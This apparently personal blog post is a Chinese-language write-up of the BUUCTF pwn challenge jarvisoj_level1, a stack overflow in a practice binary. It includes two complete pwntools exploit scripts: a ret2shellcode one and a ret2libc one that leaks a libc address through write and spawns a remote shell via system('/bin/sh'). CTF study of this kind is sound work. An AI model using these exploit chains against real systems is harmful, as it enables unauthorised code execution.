BUUCTF-jarvisoj_level1

题目简介

BUUCTF第2页的题,原题链接:BUUCTF原题:jarvisoj_level1

这道题思路不难,但非常有误导性,乍一看是ret2shellcode的题,但是本地和远程的输入输出交互完全不同,导致能在本地打通的方法在远程无效

漏洞点分析

首先checksec看到保护全关:


之后查看IDA的反编译结果,找到在vulnerable_function的read操作时会发生溢出:


同时注意到在函数的开头会泄露buf变量的地址,因此漏洞点为借助buf基址计算返回地址,最后劫持到shellcode

漏洞点利用

根据IDA反编译结果可以得知Offset=0x88+0x4

因此写出如下的ret2shellcode脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(os="linux",arch="x86",log_level="debug")
targetELF="./pwn"
elf=ELF(targetELF)
ioTube=process(targetELF)
# ioTube=gdb.debug(targetELF,"b *vulnerable_function+59")
# ioTube=remote("node5.buuoj.cn",28073)
offset=0x88+0x4
shellcode=asm(shellcraft.sh())

startAddr=elf.symbols["_start"]

ioTube.recvuntil("What's this:0x")
bufStart=int(ioTube.recvuntil('?')[:-1].decode(),16)
returnAddr=bufStart
payload=shellcode+b'1'*(offset-len(shellcode))+p32(returnAddr)

ioTube.recvline()
ioTube.send(payload)
ioTube.interactive()

但是,这道题特别坑,上述脚本可以在本地打通但无法打通远程,通过nc命令,和本地运行程序对比,可以看到输入输出行为完全不一致:


可以看到远程输出时不会在一开始泄露buf地址,因此无法使用ret2shellcode的方式;

遇到这种情况,可以考虑ret2libc的方法

ret2libc关键是泄露地址,观察IDA反汇编的函数表,看到原程序存在write系统调用,因此采用write函数泄露__libc_start_main的地址

(注意:不能采用printf函数泄露地址,因为不好构造含有%s的格式化字符串;程序自身带的%p不能使用,因为%p只能打印出got表的地址,而不是其指向的__libc_start_main地址)

综上,写出最终的利用脚本如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
context(os="linux",arch="x86")
context.terminal=["tmux","splitw","-h"]
targetELF="./pwn"
localLibc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF(targetELF)

offset=0x88+0x4
pltAddr=elf.plt["write"]
leakFuncName="__libc_start_main"
gotAddr=elf.got[leakFuncName]
startAddr=elf.symbols["vulnerable_function"]
payload1=b'a'*offset+p32(pltAddr)+p32(startAddr)+p32(1)+p32(gotAddr)+p32(4)

def RemoteAttack():
ioTube=remote("node5.buuoj.cn",28073)
ioTube.sendline(payload1)
response=ioTube.recv(4)

realAddr=u32(response)
print("泄露真实地址={}\n".format(hex(realAddr)))

remoteLibc=LibcSearcher(leakFuncName,realAddr)
libcBase=realAddr-remoteLibc.dump(leakFuncName)
print("泄露得到真实地址={},libc基址={}\n".format(hex(realAddr),hex(libcBase)))
sysAddr=libcBase+remoteLibc.dump("system")
binshAddr=libcBase+remoteLibc.dump("str_bin_sh")

payload2=b'1'*offset+p32(sysAddr)+p32(0)+p32(binshAddr)
# ioTube.recv()
ioTube.sendline(payload2)
ioTube.interactive()

RemoteAttack()

最后一点值得注意的是,实际打远程时LibcSearcher会搜索到多个版本的libc

目前没有什么好的办法直接得知选哪个,本人是一个一个尝试,最后发现1号libc是和服务器对应的版本,如图所示:


BUUCTF-jarvisoj_level1
http://0x4a-210.github.io/2025/08/01/pwn刷题记录/ROP/ret2libc/BUUCTF-jarvisoj-level1/
Posted on
August 1, 2025
Licensed under